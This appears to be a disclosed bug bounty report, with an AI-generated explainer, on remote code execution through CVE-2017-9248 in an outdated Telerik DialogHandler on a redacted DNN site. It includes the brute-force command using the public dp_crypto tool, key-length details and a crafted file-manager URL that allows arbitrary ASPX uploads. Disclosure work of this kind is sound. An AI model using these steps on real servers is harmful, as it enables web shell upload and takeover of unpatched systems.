RCE on https://█████/ Using CVE-2017-9248
An outdated Telerik DialogHandler component exposed a cryptographic weakness that let an attacker brute force the application's machine key. With that key the attacker could reach the DNN file manager and upload an ASPX web shell, giving remote code execution.
- Triaged in 39 hours
- Fixed in 3 months
- Disclosed after 8 months
Summary: https://█████████/ is hosting an unpatched version of the Telerik DialogHandler Telerik.Web.UI.DialogHandler.aspx allowing for the machine key to be brute forced. The machine key can be used to access the DNN file manager to upload arbitrary files including ASPX giving a web shell and RCE.
Description: Telerik has a known cryptographic weakness in older versions of the Dialog Handler which when exploited can be used to brute force the machine key and gain access to the DNN file manager. The file manager allows for ASPX shell upload and RCE.
Step-by-step Reproduction Instructions Hit https://███/Providers/HtmlEditorProviders/Telerik/Telerik.Web.UI.DialogHandler.aspx and notice the handler dialog message. Download https://github.com/bao7uo/dp_crypto to make brute force simple and run: python dp_crypto.py -k https://███████/Providers/HtmlEditorProviders/Telerik/Telerik.Web.UI.DialogHandler.aspx 88 all 21
Wait for the script to finish and the key will be integrated into a link to the file manager for DNN. You can use this link to upload arbitrary files to DNN. I uploaded a PNG for proof but ASPX works just as well here. I had to do a little trial and error on this one, it uses the ASCII character set and figuring out a key length of 88 took a little doing but going longer than the real key causes the base64 to start validating again from the beginning so in a test of 128 key length I was able to see the key repeat at the 89th position.
https://████████/Providers/HtmlEditorProviders/Telerik/Telerik.Web.UI.DialogHandler.aspx?DialogName=DocumentManager&renderMode=2&Skin=Default&Title=Document%20Manager&dpptn=&isRtl=false&dp=HBJ/KxQ5LRscHB8ELSgfLDIsMUYUZxs2HAchCS1mEEYfLTllLCoDGwJaCCszEhxzF2YULSsCIUsCLDY+Nj0MQQAoIiMtEyFyGBMbTixmJQIAPgBPAwYIVRcoMi8fA2QeFxMDWhUSAzkIMwdcGAMYcCwtMQAvExNZNhc5dxYTLQ0XOS09HRMYOilnA3IaKB9EFC0yPgY9YFkXOCIFFhMUPRcGIgMCdBwDGyIpCzNje1YbAgxzLBwYBBsMGwAVFiYNHS05RBRKJhQbPV9DAWULWQsMC1ouAhcfKSIIKzI4fzkBdgQ8KxIcQgMpHBMfBypFFFofex8QGAEvOBMTLHcDci8tIRQLFm9RFAMEMSwDYA0BAQtZLQ0fFh0vBEMbeAB0FD4TNBcMLWMxEzlGFhMHMCw9IisEZyZ1F2MuAhYSMUsUORM/Hi4QRQMvPTUCABgKL2cbEix3OQIUIjkIM2MIbBcdGCwBEQ8fLwwfXQMBEAkeWxNAL3ccBi0HXkktZhNMA2Z4RSsDAwIpLBg+M2YQMxd3ADwZDSVGFD9RLzA9DEEfBhwxLHY5NAAWIk0YXTlYKUspEDUWVUcCAxg6KQMABAAHKVAtEhxPBC0PRh1kPg8tWykILwNwYDBnF1ouBy0wFD0iPQsGPTkBdQwtLQ0HXQFaMnM2LQ9LLwYcMR0DAC8vEmwULQEXXCk9DAsDPHtOLXcfMAAXIkAZAxdEFXYHEgtZHEMfXQw2LVgyCQMXPVQELhMAGSgPOR0+LhILAjIvLl06NwMuG0EXPRwxCFoLXhcGNjcuHD43L2dhDxx3OVwvPVIWBxlRShQQfysvAwAEHykXQix3BAkcKDFnHwEQPxkGDzEtEwMAHAIpURl0OUYbBgw1NQMAGxheFC4dPyUEGi0QFDEsNWooIwAjAgFZdRQ4YCkrZxxNKDIbNTBgdw8ZEQQUKRIlLwMQE2QZdQtLBj0tWy93BDcbBCUgGGctBwU6LQMVdQ8/GwQUJgYQOjQUaD10GAM5aR0yMhAEPS1IHj4AIy0DIjIZOxcTA1oEARktGzo0FAwIAA0iDiw4E0QZHD0CFXQUAAcFB1sedhBwGQY2AioCNWwEPgNaLREPDRkvFAQEAhgbHl4YLRl1fHwZBgw0BD0QSyksIisuLi5zGQIlPSxmOWwbLiUoAxRoRBopLggsEWUOGBAQBh4SKQkzWC1+KWcydS8yJQkUAgtZMBMXWisDOQEvAyIACAIyORdjIT8DABNZLCIqKw==
https://████/GSP.png
Product, Version, and Configuration (If applicable) Telerik <= 2017.1.118
Suggested Mitigation/Remediation Actions Patch Telerik or switch to a different editor like CKEditor.
Impact
Critical: Exploitation allows for a web shell, defacement, etc through arbitrary unrestricted file uploads.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the older Telerik DialogHandler used a weak, guessable machine key scheme, so the key protecting the file manager link could be brute forced.
Impact
Critical: exploitation allows a web shell, defacement and similar outcomes through arbitrary unrestricted file uploads.
What the attacker needed
Reachable Telerik DialogHandler; unpatched Telerik (<= 2017.1.118); brute-force tooling
The fix
The report recommends patching Telerik or switching to a different editor such as CKEditor.
How it was found
- Request the Telerik DialogHandler page and observe the handler dialog message.
- Run a brute-force tool against that handler to recover the machine key.
- Wait for the tool to finish; the recovered key is placed into a link to the DNN file manager.
- Use that link to upload arbitrary files, including an ASPX shell.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Some web software uses a secret value, called a machine key, to prove that data it sends to the browser has not been tampered with. In this old Telerik component that key could be guessed by trying many possibilities, and once it was known the attacker could pretend to be a trusted user and upload a program to the server. Running an uploaded program on the server is called remote code execution.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.